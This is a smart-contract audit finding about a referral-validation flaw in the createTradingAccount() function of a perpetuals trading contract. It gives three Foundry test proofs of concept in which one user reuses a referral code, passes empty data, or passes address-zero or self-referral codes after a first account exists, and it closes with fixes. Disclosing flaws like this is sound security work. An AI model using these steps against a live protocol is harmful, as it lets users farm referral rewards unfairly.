Summary
The function createTradingAccount() found in the TradingAccountBranch contract allows the creation of trading accounts with invalid or empty referral data. This inconsistency can be exploited to bypass referral validations leading to:
Creation of accounts with non-existent referrals.
Reuse of legitimate referral code by same person .
Abuse of the referral system for unintended benefits or rewards.
Vulnerability Details
The createTradingAccount() creates a new trading account and handles validation of referral codes. However, the current implementation of referral codes checks can be bypassed.
The referral code validation process:
-
Checks if referralCode.length and referral.referralCode.length are not zero.
-
If isCustomReferralCode is true, it checks if the referrer address is not address(0).
Or
If isCustomReferralCode is false , it reverts with InvalidReferralCode() if
referrer ==msg.sender .
if (referralCode.length != 0 && referral.referralCode.length == 0) {
if (isCustomReferralCode) {
CustomReferralConfiguration.Data storage customReferral =
CustomReferralConfiguration.load(string(referralCode));
if (customReferral.referrer == address(0)) {
revert Errors.InvalidReferralCode();
}
referral.referralCode = referralCode;
referral.isCustomReferralCode = true;
} else {
address referrer = abi.decode(referralCode, (address));
if (referrer == msg.sender) {
revert Errors.InvalidReferralCode();
}
referral.referralCode = referralCode;
However, the function does not perform proper validation on referralCode, allowing anyone to create an account with empty referral data, which can be used to bypass checks. Since protocol allows users to create multiple tradingAccountIDs, the check can be bypassed by creating another account since referral code checks only work on the first account created. Once an account is created, users can use their instance to bypass the referral code check for all other accounts created.
POC
Test setup should be reused across all scenarios.
Scenario 1 :
Reuse a legitimate referral Code by same user
pragma solidity 0.8.25;
import { Base_Test } from "test/Base.t.sol";
import { TradingAccountBranch } from "@zaros/perpetuals/branches/TradingAccountBranch.sol";
contract ReferralCode_Test is Base_Test {
function setUp() public override {
Base_Test.setUp();
changePrank({ msgSender: users.owner.account });
configureSystemParameters();
}
function test_Ruse_Of_RefferalCode_When_Custom_ReferralCode_Is_Set() public {
string memory customReferralCode = "customReferralCode";
changePrank({ msgSender: users.owner.account });
perpsEngine.createCustomReferralCode(users.owner.account, customReferralCode);
vm.expectEmit({ emitter: address(perpsEngine) });
emit TradingAccountBranch.LogReferralSet(
users.naruto.account, users.owner.account, bytes(customReferralCode), true
);
changePrank({ msgSender: users.naruto.account });
uint128 tradingAccountId = perpsEngine.createTradingAccount(bytes(customReferralCode), true);
assertTrue(tradingAccountId > 0);
changePrank({ msgSender: users.naruto.account });
uint128 tradingAccountId1 = perpsEngine.createTradingAccount(bytes(customReferralCode), true);
assertTrue(tradingAccountId1 > 1);
}
As you can see in the code above customReferralCode has been reused by the same user
Scenario 2 :
Referral validation Checks can be bypassed
function test_referral_Code_When_Equals_To_Address_Zero_And_MsgSender() public {
address fake1 = address(0);
bytes memory fakecustomReferralCodeWithAddressZero = abi.encode(fake1);
address fake2 = users.madara.account;
bytes memory fakecustomReferralCode1WithhMsgSender = abi.encode(fake2);
address fake3 = address(0x123);
bytes memory fakecustomReferralCodeRandom = abi.encode(fake3);
changePrank({ msgSender: users.madara.account });
vm.expectRevert();
uint128 tradingAccountId0 = perpsEngine.createTradingAccount(fakecustomReferralCodeWithAddressZero, true);
vm.expectRevert();
uint128 tradingAccountId00 = perpsEngine.createTradingAccount(fakecustomReferralCode1WithhMsgSender, false);
changePrank({ msgSender: users.madara.account });
uint128 tradingAccountId1 = perpsEngine.createTradingAccount(fakecustomReferralCodeRandom, false);
assertTrue(tradingAccountId1 > 0);
uint128 tradingAccountId2 = perpsEngine.createTradingAccount(fakecustomReferralCodeWithAddressZero, true);
assertTrue(tradingAccountId2 > 1);
uint128 tradingAccountId3 = perpsEngine.createTradingAccount(fakecustomReferralCode1WithhMsgSender, false);
assertTrue(tradingAccountId3 > 2);
}
Scenario 3 :
Empty referral data can be used to bypass referral checks
function test_use_Of_RefferalCode_When_Custom_ReferralCode_Is_Not_Set() public {
address fake = address(0x123);
bytes memory fakecustomReferralCode= abi.encode(fake);
vm.expectRevert();
uint128 tradingAccountId0 = perpsEngine.createTradingAccount(fakecustomReferralCode, true);
changePrank({ msgSender: users.madara.account });
uint128 tradingAccountId = perpsEngine.createTradingAccount(bytes(""), true);
assertTrue(tradingAccountId > 0);
}
The PoC above highlights the following
Ability to reuse referral code by same user
Bypass of referral validation checks
Impact
An attacker can abuse the referral system for unintended benefits or rewards.
Tools Used
Manual Review
Recommendations
Implement specific checks for the format and content of referral codes data .
Add checks to prevent a user from reusing same referral code multiple times